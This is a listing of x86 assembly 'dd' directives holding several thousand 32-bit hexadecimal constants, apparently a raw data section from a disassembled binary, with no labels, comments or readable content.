		dd 0FEEF811Dh, 0FA87A602h, 6160E8E2h, 5D0E4F56h, 18415210h
		dd 638B1099h, 59866E12h, 96290808h, 0C0249AB3h,	0A62DC037h
		dd 42B20388h, 8AAE5B97h, 72B50189h, 34E3F124h, 0DC00BD0Ch
		dd 0B993E8Fh, 0A0FD8527h, 0BAA3FA4h, 0B457E27Dh, 0B2D76060h
		dd 749F2624h, 2601DD08h, 5B467404h, 0F7C5E301h,	0C09A1947h
		dd 0A458B154h, 78224F9Bh, 5CF8089Eh, 0C381C46h,	0E5A22D80h
		dd 0FA891206h, 3D3960B2h, 87267965h, 0A4079CCAh, 84FA722Ch
		dd 44B19180h, 0E0D5DDh,	7FE1A590h, 64F7D362h, 10815631h
		dd 0E36E40h, 0F29E031h,	0E423D37Ah, 9FB1200h, 0E1D520BBh
		dd 0CA260BC6h, 0AC00639Ch, 856F6AA4h, 7E4AE873h, 0AC629013h
		dd 5B6C7387h, 0E62B95A0h, 0A72E2713h, 895DAC05h, 14ADC88h
		dd 0FAB26D01h, 18438E81h, 42B70CE2h, 2288CCE4h,	0B2408552h
		dd 0E6CB3054h, 0CD0027B0h
		dd 1215BD06h, 4D0EE3C2h, 8C001CE9h, 2F0427F3h, 5D0F3951h
		dd 7223AA93h, 0EE42401h, 0B89F257Dh, 545F0B94h,	0B8510081h
		dd 5D0398Bh, 10A27FA8h,	7EF39800h, 4E3B57D2h, 23983A5Ah
		dd 0EDE30013h, 66703E04h, 465C04BCh, 8B070013h,	5D587D96h
		dd 70990D6Eh, 68106445h, 32C2BD88h, 0E0C7E3D5h,	0FEDC04D1h
		dd 0F0D7921h, 235FEE0Fh, 8E334624h, 350DC4E8h, 88F17037h
		dd 0FC038426h, 946D1276h, 0D51AB8EBh, 7AD0A060h, 323F28D2h
		dd 466104A8h, 98A7E34Ch, 3CE366C0h, 33FAB914h, 0C80DB699h
		dd 500D3AFh, 0F113FFD8h, 0F5E6CA67h, 51414875h,	5071EDDDh
		dd 3A8ECCh, 7F556EA6h, 2D32AFCAh, 30B85B09h, 0E260C533h
		dd 0C819350Dh, 0F28F60E8h, 0BAFE0271h, 4FA7D72h, 3E2C2048h
		dd 844D0B28h, 8C60EC9Ch, 0C34F2F42h, 0EFE3F818h, 92ECD912h
		dd 0D68EAC40h, 9412CCDh, 36379F4Bh, 0C4E0884Fh,	4DC889h
		dd 370D75DCh, 0D6882F9Ch, 7FE0F47Eh, 15F7B00Bh,	174CAB98h
		dd 801891C0h, 194A4C41h, 77B012DBh, 6D7C9DF8h, 295A860h
		dd 0AC870D67h, 78E496B8h, 0F80B7098h, 0C523FB60h, 1266E25Ch
		dd 4BFB18h, 29FC5D45h, 40CF95DAh, 65337D14h, 30DEAD7Ch
		dd 0D8003E4Ah, 1C3912C5h, 98C337Fh, 0A729511Ah,	0E542C467h
		dd 0F3A61834h, 40BFE325h, 0C2FEECF4h, 26337CC1h, 0B10184A0h
		dd 1602FA0Dh, 4219B994h, 6E90E056h, 9403827Eh, 74E8AE03h
		dd 0A3004DEBh, 0E1B0772Eh, 0C2B8C4h, 0FC346095h, 62815497h
		dd 0A22791ECh, 41208108h, 0E4000D32h, 6C7D507Fh, 40A10626h
		dd 3B00F411h, 29234BC5h, 0DE0112E8h, 389406BFh,	7FDD4553h
		dd 1205493h, 5DF66550h,	3D60395Eh, 9EC0CCB4h, 0E05182DBh
		dd 60A6E179h, 0F88A11DCh, 233C2F93h, 0B2D7BA2h,	0CD048B92h
		dd 0E4F5610Ch, 399D10B8h, 28FD0338h, 0AAA7565Ch, 2787A590h
		dd 37DAA305h, 0B8C15015h, 7202F986h, 0B000C8C4h, 39C4EB8Eh
		dd 1FE7F6DAh, 423FC792h, 369FA66Fh, 704CBCCAh, 0EA899A05h
		dd 0C4C2878Bh, 3F885219h, 5A9282AEh, 0A4A4200Bh, 0CA0ECC16h
		dd 0DA3008h, 860E72E5h,	0D9E6B0h, 3AD7702Eh, 7D793F40h
		dd 0E98C3530h, 10272BCh, 12346A14h, 0C6FBB48Bh,	9D0124F9h
		dd 649C99C1h, 18F26862h, 0DAC09C31h, 6ACC9427h,	3D00DEE8h
		dd 62FE4B29h, 942E790Eh, 0F4E20960h, 7A46F8CEh,	0A3CC0B71h
		dd 149C4AA7h, 81E707Bh,	0F42633BBh, 5FD13900h, 788487FEh
		dd 0F0073094h, 5B21FCD1h, 260728E0h, 508824F2h,	0C85A77F1h
		dd 0AC225071h, 0CF305CF2h, 26F8902Bh, 3E85309h,	5AF8F3FAh
		dd 0D6D4E28Ch, 0E700806Bh, 0A34860D0h, 0B602C2D7h, 0B0B2011Dh
		dd 3824441Ah, 6D8817E5h, 4180060Bh, 18254BABh, 884B185h
		dd 0A4008A68h, 3B795B9Ch, 0F850F3E6h, 0BC33772Fh, 440D8068h
		dd 0A7C17197h, 0B2176907h, 62803B9Fh, 2604A33Ch, 920B4D5h
		dd 382E5696h, 30FF5FE4h, 0FCACF89h, 0BAE2BB8Ah,	0B11C3752h
		dd 3911027Eh, 3F5AC1B4h, 682C1BDEh, 3D69183h, 0C8788EC5h
		dd 0D656C058h, 0F100A43Bh, 0B09989ADh, 5E62A3AFh, 3DA829A1h
		dd 2A804h, 0F1F67433h, 0DD738CC3h, 0ED945409h, 19E4910Ch
		dd 2100D432h, 9F9D436Ch, 3717F6CCh, 7490E50Ah, 38AEADEh
		dd 0AFB17A89h, 0C7E02D02h, 33725E68h, 5815D1C0h, 7FA4FFh
		dd 2C0B4E1Fh, 0C3D5E4CAh, 0E6525F04h, 78B9E042h, 10642E96h
		dd 0E8D134E0h, 98086007h, 0BB7DF1DBh, 5A31C8ABh, 1248309Dh
		dd 644F2DACh, 3815A41Ah, 0FA98E311h, 5E00D915h,	0DCEDB127h
		dd 2F87A805h, 0C883F272h, 0E79D3A89h, 0D87C2960h, 8634E4D0h
		dd 1155E000h, 5A400E09h, 4FF10266h, 8B2E7E34h, 9C5B30C0h
		dd 6E5260EAh, 1D471FE0h, 0AC3E9B40h, 0E6D0B957h, 0C46C0778h
		dd 0A27EBB73h, 0B05B1CAFh, 465C5CA4h, 0D0310057h, 0BC6B5FF1h
		dd 28849BBDh, 0DA02250Ah, 1879A099h, 0A217B058h, 3FCC7BCh
		dd 82083075h, 3671DDA8h, 7ACDB501h, 2F5FAA93h, 0B83FE040h
		dd 23240540h, 0B26817E6h, 0BB8880ECh, 0C0592FD3h, 890C6730h
		dd 4A002D50h, 0F7A15116h, 9464C19Eh, 16465CE0h,	0D1848338h
		dd 0C6997E8Ah, 0FB77708Eh, 68DF2324h, 91649DADh, 0A01A8F09h
		dd 94BDB1DCh, 921F27E2h, 58C8AC6Eh, 0C191C052h,	972E9524h
		dd 0CC58CC22h, 2EC10799h, 0A5662511h, 4610C03Dh, 2EE1CD0Ch
		dd 0BD10AC2Fh, 79FEC011h, 1F9F5DC8h, 5DAA7803h,	0DE29DFE7h
		dd 0E069524Ah, 2C26A458h, 0E024E477h, 0D8825844h, 0E1E8E09Fh
		dd 81563E7Fh, 0E04C84Ch, 0B8665114h, 8C17B81Ch,	9441F905h
		dd 58C2DD1Ah, 89F0569Fh, 0F809CFDBh, 7678C053h,	0B0F30085h
		dd 5233C1B5h, 0A22D6FE8h, 486401F7h, 7C20F2A5h,	0E27C4088h
		dd 4AA9F25h, 0A17944h, 0C1BCEC78h, 0B525008Ch, 0B44C581Dh
		dd 942539E8h, 5040686Eh, 0CFC007A7h, 80BAF2C4h,	26DE1740h
		dd 0B434D100h, 5D6B294h, 23A05E1Fh, 39D8AA7Ch, 9D005365h
		dd 0FB918F77h, 1663CAEDh, 94265FC8h, 0E838C4C0h, 0C79B25E4h
		dd 601B64E4h, 0FC66729Bh, 0CB971D61h, 34EF4968h, 7A133C52h
		dd 84E03CFAh, 991A2AC6h, 0E1F869D8h, 0C370C073h, 97A708A5h
		dd 0F01FA32h, 42912DABh, 8B4A903Ch, 0C0C0C864h,	0C513BE4h
		dd 917438h, 534665F4h, 0F21210D9h, 5FFCB21Eh, 23642E87h
		dd 0FCC40057h, 100DD899h, 91302A72h, 7FE451CEh,	84000A4h
		dd 2FD71206h, 0CF25D270h, 0FA8CE02Ch, 0B8EB48B0h, 0C05CBC12h
		dd 487698B0h, 11E13430h, 2F514C9h, 5B4B8C77h, 384010E0h
		dd 1A5F780Ch, 63922842h, 4C4064CCh, 0B93A207Ah,	0A400BD40h
		dd 0C68B7BFCh, 54AADF5Eh, 0BA8BC7Dh, 0F7D28514h, 6B355048h
		dd 1B79A499h, 97966019h, 0F394BA01h, 8B221A99h,	4C82C3F4h
		dd 862FE8A6h, 5D119417h, 27DB9C80h, 8113D8F8h, 78F4269Fh
		dd 0D424F1E7h, 0F26F17E4h, 0E1E007EAh, 412640BFh, 6B26ABC5h
		dd 2A07185Ch, 2F74BF4h,	0CC24F970h, 2F3B0F0Ch, 0E4621E4Ch
		dd 2C707DB7h, 0B577361Ch, 0AD825870h, 2A35020Ch, 167DAEF2h
		dd 847B4879h, 9137ED60h, 5E975400h, 0E3C4CC36h,	90D24972h
		dd 0DE82C4Ch, 6C733C8Ch, 0C30C6187h, 0B02370F3h, 2713CEFFh
		dd 8C9007ADh, 0C18039h,	8D3E14Bh, 0F2E29F97h, 37DB8B07h
		dd 0E98A23h, 0B943F304h, 6CCA477h, 1B01B75Eh, 2E00112Bh
		dd 0E17AB129h, 261EE49h, 97264036h, 0C868D4F2h,	152D1EDFh
		dd 41584CAAh, 0BB608B56h, 0A06870DEh, 9CEF1AB4h, 6BBC85E8h
		dd 252CC0C5h, 0C2D5698h, 409C46E9h, 20A7B6C0h, 0C188DD08h
		dd 892E94B8h, 0DB6B3CB9h, 0EDFA5834h, 6C82A11Eh, 6FD17647h
		dd 65B509B2h, 3509E264h, 7A37B18h, 0D231344Eh, 0E7A46EE1h
		dd 18D8FC87h, 0DF790142h, 0D1784AB4h, 298C5EE0h, 8E9209CCh
		dd 0B74C9256h, 78F400A0h, 0E39F52F9h, 0C71A871Eh, 467614AEh
		dd 0D2D300BEh, 0C4E8AFB0h, 2EE42EA3h, 6D380B94h, 9970B45Bh
		dd 83EE388Ch, 0EC267051h, 98581EF0h, 0A93A3F02h, 4269F261h
		dd 5824DBACh, 2C004612h, 9F51A541h, 9C68D9h, 20B638Ah
		dd 0EE8E5893h, 0B0E3CB32h, 87A07608h, 70D2644Fh, 0B5142FABh
		dd 9F9C5D00h, 0BB1D0260h, 42740463h, 0C0BA1B8Fh, 984382Ch
		dd 0EB30E5E8h, 8AE6C991h, 467E43Dh, 29341D72h, 16E48CA7h
		dd 6348A500h, 2FFD3E52h, 8DB70092h, 87998AD3h, 795D3DE1h
		dd 260B9ECCh, 0E474E560h, 26A6052h, 0C5450187h,	0B2DE7ADBh
		dd 141C30A7h, 1269BCB0h
		dd 9088406Ah, 0D9609964h, 8F180Eh, 106E7C5Eh, 0C8948B60h
		dd 20E1C426h, 0ECD2FE13h, 0D638D487h, 0D71A7F05h, 0D80012F6h
		dd 913494D5h, 58EF6F86h, 99E6167h, 0D1422092h, 6C42CC6Ah
		dd 0D32E9CC8h, 0BC68F048h, 1124365h, 6B43FEB8h,	0A9FB9A4Dh
		dd 84727220h, 0ED71B500h, 50831BC2h, 0D9FB1E01h, 0B346C196h
		dd 3CAADCF0h, 0C5A5812Dh, 0C064D0E7h, 0B3731067h, 0FE3824DBh
		dd 8660160h, 77E641EAh,	0C071D874h, 0AFCEC9B1h,	4451A8CFh
		dd 0F26C7280h, 0DCEA31CBh, 9D018AA7h, 9FAE45D4h, 14200B22h
		dd 0F882E3F9h, 0DD5D8FB4h, 0B70B487Ch, 10E0213Eh, 243F5289h
		dd 0B228B274h, 0A90F305Ch, 8094EB4Ch, 2819ADE1h, 0ED8B5046h
		dd 2218C0CAh, 0A84EF3DEh, 9EAF9B38h, 688120C8h,	0A696B9DBh
		dd 5C504CFFh, 0BC20BA2Eh, 44B0F809h, 0A865BC24h, 30C2B99Ch
		dd 0FC1CC114h, 6F4E3F38h, 2AD921E0h, 1440ABE3h,	0BEF91A8Ah
		dd 0E27A02C8h, 4400BDB3h, 4D02772Fh, 6722300Fh,	30E62C3Bh
		dd 0AA50304Bh, 5DE10DA7h, 72A9E429h, 3018F2ECh,	48B0A4A8h
		dd 7117EB32h, 1AC6200Fh, 0AA52FB71h, 0A1F457B0h, 0AA6156EEh
		dd 291E6F4h, 0E28231C5h, 0C848327Fh, 2D55F54Ah,	0ECFBF0C4h
		dd 0E5187B25h, 6016E47Ch, 1D2CCDD3h, 6FF73643h,	9D5AC61h
		dd 78F77832h, 914163C0h, 0D36001D8h, 4BDD9EB9h,	2CCE3177h
		dd 8CE3E8DCh, 0D2F53E03h, 98854470h, 0C037EA8Bh, 8425E851h
		dd 0A4149ADDh, 13F33460h, 94F22D02h, 0C34E6F1h,	7E2C1E75h
		dd 0C4E2E781h, 1029A441h, 65A2276h, 72DB0BA5h, 0E10F39DCh
		dd 0E1D7D88Dh, 0B2988A15h, 4924C4h, 0FE0C22B1h,	0F33F7D1Eh
		dd 12D430F9h, 0A07259C4h, 0E404A943h, 917E9E0h,	0B012890h
		dd 647B6D54h, 0C451698Bh, 7180FD71h, 47115CA9h,	7902E9C5h
		dd 94C10F1Dh, 80A4D46Eh, 0AB7B6854h, 0F0396A1Eh, 91D83Ch
		dd 9E1B3FB8h, 275CF10Ah, 4420DF38h, 0C1E8F3ECh,	0B6CC8A80h
		dd 0A215E08h, 0BC168035h, 2239D8ECh, 8EEBEE00h,	4172F2AFh
		dd 0E33509B0h, 4C7A91B9h, 80E00D5Ch, 0F862F969h, 588B8A1h
		dd 4A543F31h, 0B020F685h, 5E735Bh, 5DC10599h, 9506C53h
		dd 0AE0C0D00h, 29B93DBh, 40EA0090h, 1E83FBC3h, 42001267h
		dd 0DED28D8h, 0DD1126h,	9E59DA0Ch, 161EB533h, 846AEB3Ch
		dd 2B4EAB3h, 68D871C0h,	0FD3F0636h, 86F0CFEh, 0F221C660h
		dd 0E486D89Ch, 7C17009Dh, 9A64476Ah, 0FFF0D5B1h, 0B7288F60h
		dd 0C0ADA760h, 920AE518h, 977CD2C6h, 2AEAA606h,	610CC54h
		dd 419CA95Ch, 220039FEh, 756FEE0Ah, 1D9D4F1Dh, 184EED7Dh
		dd 40B4D825h, 0DAEE0300h, 7E424B33h, 0FC353CC1h, 0AC513183h
		dd 5CC002E4h, 5778FBAEh, 0D913A39h, 204E9724h, 0CDC9ECh
		dd 93FF8178h, 3C60B938h, 0CC04C200h, 0C1FE486Fh, 0EB884089h
		dd 801A4B7Ch, 4F8E89Dh,	0A060C694h, 36236CD8h, 0CA119Fh
		dd 0ED898CEh, 6003C83Eh, 0B6254C2Ah, 98A4E360h,	1AEB0A1Ch
		dd 812C6794h, 3663D845h, 10CB31EEh, 7D89DF7h, 0AB6D19E4h
		dd 78263048h, 22010C97h, 845ADE46h, 9854010Bh, 0C098B008h
		dd 756BEE06h, 2622FD46h, 29DF4409h, 0B47E8A2Bh,	4080AC1Fh
		dd 0B03A75A2h, 31B8C0AEh, 3C30F5D8h, 2B10FC60h,	0A515FD42h
		dd 60C7E490h, 0C792728h, 0D595E785h, 44049018h,	0FB3F1E8Ah
		dd 1B22E980h, 0E2C83E27h, 0A860C381h, 80323EC9h, 75A701B1h
		dd 7B82D517h, 0E9A101ACh, 0C6AE4D38h, 3BEBC07Eh, 0FF71C102h
		dd 884B68h, 3833F151h, 7099B230h, 0C0030493h, 0C56A5C50h
		dd 0BE07F1FDh, 70A5FAD6h, 132660BEh, 929D03D9h,	0DDD0FFB0h
		dd 11986092h, 9F746614h, 0CD751E03h, 753D19AEh,	5921C008h
		dd 620746Dh, 8CDE0C00h,	69A07709h, 0B1998897h, 3C4C7824h
		dd 47205828h, 0C4330038h, 0B07D58Ch, 921F2C36h,	8B075821h
		dd 77859FE5h, 0B1BF440h, 90EE5717h, 0C7C00168h,	18D5B0BDh
		dd 4FC54B1h, 3FF64E0h, 0ECB82AE5h, 0E60C080h, 0E0AD008Dh
		dd 6D9B110Bh, 0C4A8AE91h, 0BF076E8Ah, 1E653005h, 305D6BA3h
		dd 0AB21E308h, 2D03BFC6h, 17674D5Ah, 1AC081F2h,	0CAF22832h
		dd 15E6530h, 71B27848h,	0FC06EC45h, 68C1A17Eh, 0A9551AD5h
		dd 9F236822h, 72EE0901h, 2C181575h, 23988h, 0D6C4BEEEh
		dd 0A545F5Ch, 0E28B2507h, 181E3E6Dh, 14FB729h, 3C0807D9h
		dd 41E920EEh, 30FDBBBBh, 7914D724h, 2D07AAEh, 2944FA80h
		dd 0C1DC4D16h, 40A4E73Ch, 0FD685BCFh, 24264479h, 2181501Fh
		dd 7CEB4A80h, 0C2B0420h, 0E219C837h, 0B1615F10h, 0FE2F9F48h
		dd 0E121C24h, 680343F5h, 0AC343242h, 9B10F081h,	72E45869h
		dd 3009BF08h, 40DCC4C5h, 11BF6A6Fh, 3A90CC2h, 33494362h
		dd 0C1DE1212h, 4205141Fh, 303AB078h, 5E00E123h,	0A27733D4h
		dd 0EED80015h, 1C22516h, 10037150h, 115B0F34h, 37FC88Bh
		dd 854800B2h, 93B6D7F6h, 0F0C405E4h, 98CEC420h,	0DCC0C588h
		dd 16C2A8h, 0C686E548h,	7646787Dh, 4A146703h, 98FFD40h
		dd 0A990F031h, 0ECD8CC13h, 0D93E2D2Bh, 0F24780DAh, 230806B4h
		dd 3F1F1884h, 0E2AD39F9h, 0DF001AE2h, 643C4AFFh, 40C26Bh
		dd 3F681D55h, 9FF51CDBh, 2C30B113h, 110C4440h, 0B05B33EFh
		dd 5670044h, 5AF95DC3h,	70A08104h, 0FA091D0Dh, 82D69942h
		dd 0A0D7953Ch, 0B092FDACh, 200E00BAh, 0BC151E6Dh, 0D0A25DABh
		dd 8071948Eh, 756EEE05h, 224E43F5h, 0DE3D0027h,	23D03329h
		dd 40617B1Ch, 9A802218h, 417C42F2h, 0A118C3F0h,	3667D808h
		dd 40C4C447h, 5AD899F3h, 0BD7800D0h, 35EBDF3Ch,	2890BB4Ch
		dd 86697F3Ah, 0AC917184h, 611B01D1h, 0D44DE2A0h, 0C47091B2h
		dd 6AD8A280h, 24996F36h, 0D89AD0C0h, 0D17400E0h, 793D43CBh
		dd 0A9505B50h, 58936B88h, 0EFBFD402h, 58CF8A30h, 6D40DE64h
		dd 4B24BF6Ch, 9B7DB705h, 7883A0DCh, 11F8CB0h, 38491FB9h
		dd 2294249Fh, 1AE8420h,	0CFEB175Dh, 414FCCA9h, 64329E9Ch
		dd 2505EA34h, 80570EA8h, 0C06DA848h, 3661D847h,	0E0983758h
		dd 3D89FF1h, 1E629876h,	0BC9B9045h, 639301E1h, 74047E44h
		dd 0D3951C13h, 5D20A732h, 3F97469h, 31DDB52Bh, 0B8AECA0Ah
		dd 4762371Ch, 10029B16h, 0E4141Ah, 426D987Dh, 93C53904h
		dd 0C4C23212h, 3930E43Ch, 0CC820E61h, 19AC5BC4h, 2C0D5867h
		dd 70203141h, 4D44486h,	6828632Ch, 5133410Ch, 45271E07h
		dd 5E3DC3CDh, 60E01A8Ch, 0EB00C57Ch, 0A9FF82B3h, 58013868h
		dd 0D4846C8Dh, 0EB421CF9h, 0A09D3133h, 671269B8h, 97F5304Eh
		dd 3062E88h, 52162884h,	959422D0h, 2A0A7B0Ch, 26BBF8ADh
		dd 92404731h, 920C4FEBh, 0E5B090D2h, 1D00A949h,	9D4A421Ch
		dd 0D7D14Ch, 86919B2Fh,	23E2817Fh, 607DB804h, 948029D0h
		dd 6432D2FCh, 5F2DF051h, 118250C2h, 9138AFBCh, 0A842D040h
		dd 3048B1C4h, 6BE8AF94h, 8F5803F8h, 0C09D8888h,	75D4EEEFh
		dd 27222546h, 0EE083B03h, 98929958h, 50330F8h, 0D9C821EBh
		dd 97880984h, 10E83093h, 8BEEA84Bh, 77D1DB02h, 60D870B7h
		dd 780F545Ch, 8AB62E4Ah, 8074111Ch, 300ABF6Bh, 0A800876Dh
		dd 42F2BFC3h, 0DBAD1273h, 0ECB413BEh, 741000DBh, 0FB7E9FAEh
		dd 91BC94EAh, 82A38B69h, 4C973618h, 0CDC34494h,	74D89B02h
		dd 0C0D025A0h, 8097545Ch, 0E0A89C93h, 0E30186CEh, 1DDA4758h
		dd 0F524B75Bh, 34375D3Eh, 936B7E0Eh, 0CD7213A0h, 120622F1h
		dd 3B1648CEh, 5C80630h
		dd 99B441ADh, 199AC481h, 7571B401h, 4C8BC045h, 29F94200h
		dd 0D7C71A3h, 2AC83C03h, 762F17DAh, 0D19C6521h,	9113C6h
		dd 0F6F1B52Fh, 4700A563h, 2499C2A7h, 0EBFBEFE3h, 2188404Bh
		dd 0E58172C0h, 226D0FDDh, 0ED4063E9h, 15DC6816h, 498CBA0Bh
		dd 91B8975Bh, 0F6FE8030h, 241A7BE2h, 960E3B0h, 1404FDDEh
		dd 0BF6F6070h, 4D3017EEh, 6C4C2C1Dh, 0A4BF673Fh, 68041184h
		dd 9CB6AA7Fh, 0C4E20C52h, 43C2830h, 0B0447D5Dh,	4B94B6BFh
		dd 2623442Bh, 877BC500h, 13F4DCD6h, 81AA1DB5h, 4BBE2028h
		dd 0C0C58850h, 0F0BE1134h, 0ACC4CF03h, 0A4A5C81Bh, 924C98C0h
		dd 0C454A59Dh, 0BD4B602Bh, 0FD702E4h, 0D3F6C684h, 0BB38A458h
		dd 9320D902h, 1E441002h, 4420CC8Dh, 700F5AACh, 3EDF6774h
		dd 0C81F2702h, 0DAA4684Dh, 4ED0F022h, 42B00235h, 90E43E4Bh
		dd 0CE8AD300h, 0AD12945Ch, 1B647D31h, 21FA3E9Ch, 0E788F683h
		dd 0AE0AD216h, 0F015AF72h, 8A4C38DCh, 84802E3Eh, 6FEF340Dh
		dd 6C94D1F2h, 1CCB16E2h, 70246F46h, 75300512h, 4C14CB1Eh
		dd 9DBF0545h, 9040A192h, 98FD2706h, 388F0531h, 88B70445h
		dd 1CA095E0h, 1F00C544h, 6C5BC6B3h, 7F773FCEh, 0B51D00D0h
		dd 0C4EA6B6Dh, 0EC900B5Fh, 465E7894h, 0BC5F762Bh, 24C86FF0h
		dd 420DF51h, 0E0BA5C34h, 91003A2Ch, 8044BD0Ch, 4F3F0F20h
		dd 0D1784894h, 0EFC3B84h, 249F38E0h, 11E084D0h,	0BF718072h
		dd 945D3004h, 69AA58FCh, 7237BF01h, 20A95AB7h, 2C3C7EE8h
		dd 8884D324h, 0D596010Eh, 2F527C20h, 476D0612h,	212E41F0h
		dd 0D2FF5F01h, 0CBBF2BDDh, 1D854DF8h, 5C23ECh, 0ED04CE93h
		dd 0D01820A8h, 0EEF0E1C5h, 2FD84A56h, 7302384h,	0A11F704Fh
		dd 20C5AC32h, 0BFB0BD14h, 4EC19B3Ch, 0C211D401h, 0D05B5B53h
		dd 0D9771D80h, 0A300315Ah, 0DC518A7Bh, 72B13Bh,	71144BC8h
		dd 9168532Fh, 92B37400h, 876F130Eh, 508CCB6h, 0A91E5521h
		dd 0D3008D74h, 0D2CEE6F7h, 160B3E31h, 3A53D903h, 8A0341Ah
		dd 0B9000F71h, 0BFBAA7D4h, 3AB27673h, 0E2274AFh, 0C9A1F100h
		dd 4190F6D6h, 0EB8400DAh, 8729272Bh, 0B71960C0h, 0C9780777h
		dd 6F57A4D0h, 16386Fh, 0E8D035E2h, 3375568Bh, 7F085366h
		dd 45AA0121h, 0CEE77735h, 0A000D75Ah, 593965F8h, 601834DAh
		dd 0FDB6D111h, 0CA78EF23h, 0C037C0C8h, 0BAA6D4B8h, 0BF74A721h
		dd 0A000F244h, 0EA832C9h, 7734927Ah, 197EAECh, 3C4BFD6Dh
		dd 0C0274CB1h, 71C0E0EDh, 6276C6CDh, 7B94146Dh,	0C523C038h
		dd 0B274AC01h, 0DE190692h, 74A45620h, 6AD4000Dh, 7C141125h
		dd 94A8D1B3h, 29C00F48h, 3FEFB84Ah, 5120EE3h, 7DA008D4h
		dd 0D573F06Dh, 0E30D000h, 857CB6CDh, 0B22E0ADCh, 4C44C272h
		dd 9229B9F4h, 11144BEh,	749F4701h, 408CDA33h, 0EBD134D8h
		dd 0EF7D1200h, 0C64B7508h, 7C94A037h, 0A4817AB5h, 2A046E4h
		dd 0E8CC3541h, 107931ABh, 753539AEh, 15E81D91h,	1747C561h
		dd 0C8C05802h, 4850DC1Dh, 10E1B2F4h, 7EC8CA6Eh,	12D4F881h
		dd 2FC646FCh, 1742320h,	0F61814C0h, 0E824DCD7h,	2603B639h
		dd 0F909BD4Ch, 7C1410F3h, 5E57281Ch, 0F2D50AFCh, 1EB48C0Dh
		dd 0C015014Eh, 80A2E41Ah, 0B2329121h, 0C5699F14h, 378B810h
		dd 0BF5FDA8h, 675A5118h, 48D10989h, 420094EEh, 0C71D7C47h
		dd 0ED303077h, 0F6CD419Eh, 67280757h, 0C56671h,	0CE634D9h
		dd 51361731h, 95D07E40h, 86521F0Fh, 994A8BFh, 5E1885FAh
		dd 0EB888803h, 0E19491ACh, 88D44EEEh, 8D27C076h, 81F11880h
		dd 14B3EF0Ah, 0A8A84F0Bh, 403EF004h, 4EE2E607h,	0F0703867h
		dd 40684DF3h, 20F48488h, 14F0506Eh, 40731B30h, 0F531E30Dh
		dd 0D43AAC45h, 25000923h, 3001185Bh, 9259062Dh,	5067EDEBh
		dd 0F913FC04h, 6059B2F4h, 0D4F41945h, 0D7BA1090h, 9F06C873h
		dd 0D45DF8h, 81E562F4h,	0D832E47Eh, 65B2B8A0h, 726BE2B0h
		dd 147B18h, 185F6A3Fh, 0B340A805h, 968DF72Eh, 1B369420h
		dd 46605117h, 74AB02C6h, 319E92B5h, 8021B802h, 1D2874A3h
		dd 24A048B7h, 7A4B658h,	0F0437ABDh, 3DB2942Ah, 0B4109902h
		dd 99BF7714h, 79A802E0h, 2A24610h, 0E8CA353Fh, 0A8473Bh
		dd 4B353790h, 7800D502h, 0A8D4523Eh, 1472DDBBh,	0C47FBA43h
		dd 9121270h, 0A20828F5h, 0E2CC6C53h, 2098300Ch,	177C2B00h
		dd 0FAF5459Fh, 0C006987Dh, 0BF40B360h, 5A600D6Eh, 1AA7B510h
		dd 341C0FDh, 0E95CAAA9h, 267AB900h, 0A3999D48h,	42230D83h
		dd 0A29FB1Ah, 0F832016Ch, 39AAB0CCh, 2C8BEFD8h,	3E98F340h
		dd 0F20FDFA0h, 41B92631h, 70FB4B02h, 0C177D040h, 0CF7A6Ch
		dd 0D4F2EB5Dh, 0CD4DDFF3h, 4600BAECh, 9178AC53h, 29CC514h
		dd 0B66EBDC3h, 0FC4012C4h, 761F4AD0h, 0BED43AFFh, 1462398h
		dd 0BAABD4B5h, 880B18DFh, 2CB0BDF5h, 75B01200h,	3FA815FDh
		dd 94CF5005h, 0ECBA09AAh, 80279AEh, 69E177A7h, 0B0789601h
		dd 0EC7E6402h, 6F18483Eh, 651D28E3h, 1ECDF2ECh,	0C0BA8D7Ch
		dd 0A02F9874h, 0F0C07530h, 2ECA5108h, 0BAF70743h, 1CF2148Fh
		dd 21C06508h, 0BE2EC2B2h, 8C862A70h, 0A340A1DCh, 351EAE18h
		dd 11E3E8CDh, 46AD007Ah, 5B41A235h, 80D090A1h, 20438F54h
		dd 78329E8Ah, 0C7533151h, 60034488h, 5417880Fh,	0E2A8FEh
		dd 0BF6FDE64h, 3D9318DCh, 86225A3Dh, 764B2B58h,	3A7106E1h
		dd 90677AE4h, 57EFB600h, 6F7D4F2Eh, 0AD943763h,	0BD8EFE29h
		dd 0CDC09CD4h, 0A2F7AE2Eh, 0C5B30087h, 0B5F6EB2Eh, 0D4042828h
		dd 417EE409h, 974005C0h, 6A23C42Fh, 27B6EA03h, 0D567D8CDh
		dd 921A13E6h, 0D4830D2h, 0E472BA0Fh, 7BD0C460h,	9980BDFBh
		dd 803911DCh, 0BAACD4B6h, 70CFFB7h, 90BEF488h, 0F8910BF0h
		dd 0A4022088h, 0D50072C6h, 2CC1AB6Eh, 7408B5F1h, 57070B46h
		dd 308511D3h, 1E4BACA3h, 0D150B202h, 477F8A20h,	80114E00h
		dd 61A602F6h, 0AED000B0h, 0AA39733h, 0CC93D13Dh, 207C5A09h
		dd 57376334h, 145F2C8Ah, 62C700CBh, 2C87EAC6h, 6BEC2B0Fh
		dd 0E927C060h, 0A43652EEh, 0A180A1DCh, 35094018h, 4553E8C7h
		dd 38938088h, 96E41035h, 0CE2BB20h, 44BCFA1h, 0F616F4C1h
		dd 3B00EF03h, 3A788AA6h, 85C30092h, 0D4F82352h,	91E410B6h
		dd 0E8D23905h, 0BC085513h, 0D4B4C243h, 73C71460h, 0F6509894h
		dd 0C3D438BCh, 83481383h, 88FCFD30h, 9920F3C4h,	81D0AC68h
		dd 0A818C1C4h, 92B67408h, 64C8A6h, 0F574A04Ah, 0B0916ED0h
		dd 15E61838h, 4D4E0721h, 0A4484C9Eh, 0B0522C41h, 2ECC30BEh
		dd 0CAF7AD11h, 0B0836D88h, 0EBE52EC4h, 9F35B078h, 16943B98h
		dd 887ADCC9h, 0D91265FAh, 0C070DA59h, 7EF16DF8h, 71E8B301h
		dd 541803h, 8E1CEFABh, 5207BD41h, 6DF72A05h, 3C106939h
		dd 0B87490FCh, 3C0A8C64h, 0ACDC505Ah, 0D1FC9602h, 44C8C7A5h
		dd 4B697009h, 0E9000F6h, 3C6F8AD1h, 664C8323h, 8C0EE810h
		dd 51005D7Fh, 9080CF82h, 129CD78Bh, 80B6CB9Eh, 6FF23474h
		dd 0D0A7AF07h, 7E624525h, 3E7C507Ch, 33828AB2h,	0E223C563h
		dd 0E4B5FE02h, 5E3C9610h, 0E0037846h, 0D21C9726h, 0C1A23890h
		dd 0A8576209h, 0C89C22C7h, 584448h, 3D06D593h, 2008B3E7h
